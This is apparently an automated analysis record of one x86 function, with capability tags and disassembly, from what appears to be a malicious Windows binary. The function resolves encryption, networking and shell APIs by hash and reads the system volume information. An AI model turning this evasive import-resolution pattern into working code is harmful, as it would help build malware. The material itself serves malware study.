Function at 0xc8fea
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push esi
push edi
lea eax, [ebp - 4]
mov edi, 0x6a263c53
push eax
push edi
push 0xc
pop esi
mov edx, esi
mov ecx, 0xc155c
call fcn.000c1749
pop ecx
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push sym.imp.ADVAPI32.dll_CryptEncrypt
push 0x40ae9b03
push 0x21
mov edx, 0xc1040
mov ecx, eax
call fcn.000c1a43
mov ecx, dword [ebp - 4]
call fcn.000c1846
lea eax, [ebp - 4]
mov edx, esi
push eax
push edi
mov ecx, 0xc1568
call fcn.000c1749
add esp, 0x14
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push sym.imp.ole32.dll_CoCreateGuid
push 0x1cbedad4
push 1
mov edx, 0xc1024
mov ecx, eax
call fcn.000c1a43
mov ecx, dword [ebp - 4]
call fcn.000c1846
lea eax, [ebp - 4]
mov edx, esi
push eax
push edi
mov ecx, 0xc1574
call fcn.000c1749
add esp, 0x14
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push sym.imp.SHELL32.dll_SHGetFolderPathW
push 0x6a131c75
push 2
mov edx, 0xc1028
mov ecx, eax
call fcn.000c1a43
mov ecx, dword [ebp - 4]
call fcn.000c1846
lea eax, [ebp - 4]
mov edx, esi
push eax
push edi
mov ecx, 0xc1580
call fcn.000c1749
add esp, 0x14
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push sym.imp.CRYPT32.dll_CryptDecodeObjectEx
push 0x2d430286
push 1
mov edx, 0xc100c
mov ecx, eax
call fcn.000c1a43
mov ecx, dword [ebp - 4]
call fcn.000c1846
lea eax, [ebp - 4]
mov edx, esi
push eax
push edi
mov ecx, 0xc1550
call fcn.000c1749
add esp, 0x14
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push sym.imp.urlmon.dll_ObtainUserAgentString
push 0x3f277d27
push 1
mov edx, 0xc10c4
mov ecx, eax
call fcn.000c1a43
mov ecx, dword [ebp - 4]
call fcn.000c1846
lea eax, [ebp - 4]
mov edx, esi
push eax
push edi
mov ecx, 0xc1544
call fcn.000c1749
add esp, 0x14
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push sym.imp.USERENV.dll_CreateEnvironmentBlock
push 0x158ebaf7
push 2
mov edx, 0xc10c8
mov ecx, eax
call fcn.000c1a43
mov ecx, dword [ebp - 4]
call fcn.000c1846
lea eax, [ebp - 4]
mov edx, esi
push eax
push edi
mov ecx, 0xc1598
call fcn.000c1749
add esp, 0x14
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push sym.imp.WININET.dll_InternetReadFile
push 0x4cf62e92
push 0xe
mov edx, 0xc1220
mov ecx, eax
call fcn.000c1a43
mov ecx, dword [ebp - 4]
call fcn.000c1846
lea eax, [ebp - 4]
mov edx, esi
push eax
push edi
mov ecx, 0xc158c
call fcn.000c1749
add esp, 0x14
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push sym.imp.WTSAPI32.dll_WTSFreeMemory
push 0x283000c8
push 3
mov edx, 0xc1214
mov ecx, eax
call fcn.000c1a43
mov ecx, dword [ebp - 4]
add esp, 0xc
call fcn.000c1846
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
pop edi
pop esi
test eax, eax
je 0xc923f
cmp word [ebp - 0x20c], 0
lea eax, [ebp - 0x20c]
je 0xc923f
xor edx, edx
cmp word [eax], 0x5c
je 0xc9221
add eax, 2
cmp word [eax], dx
jne 0xc9211
jmp 0xc923f
push edx
push edx
push edx
push edx
push 0xcb27c
xor ecx, ecx
push edx
mov word [eax + 2], cx
lea eax, [ebp - 0x20c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
call fcn.000c8862
call fcn.000c8642
mov esp, ebp
pop ebp
ret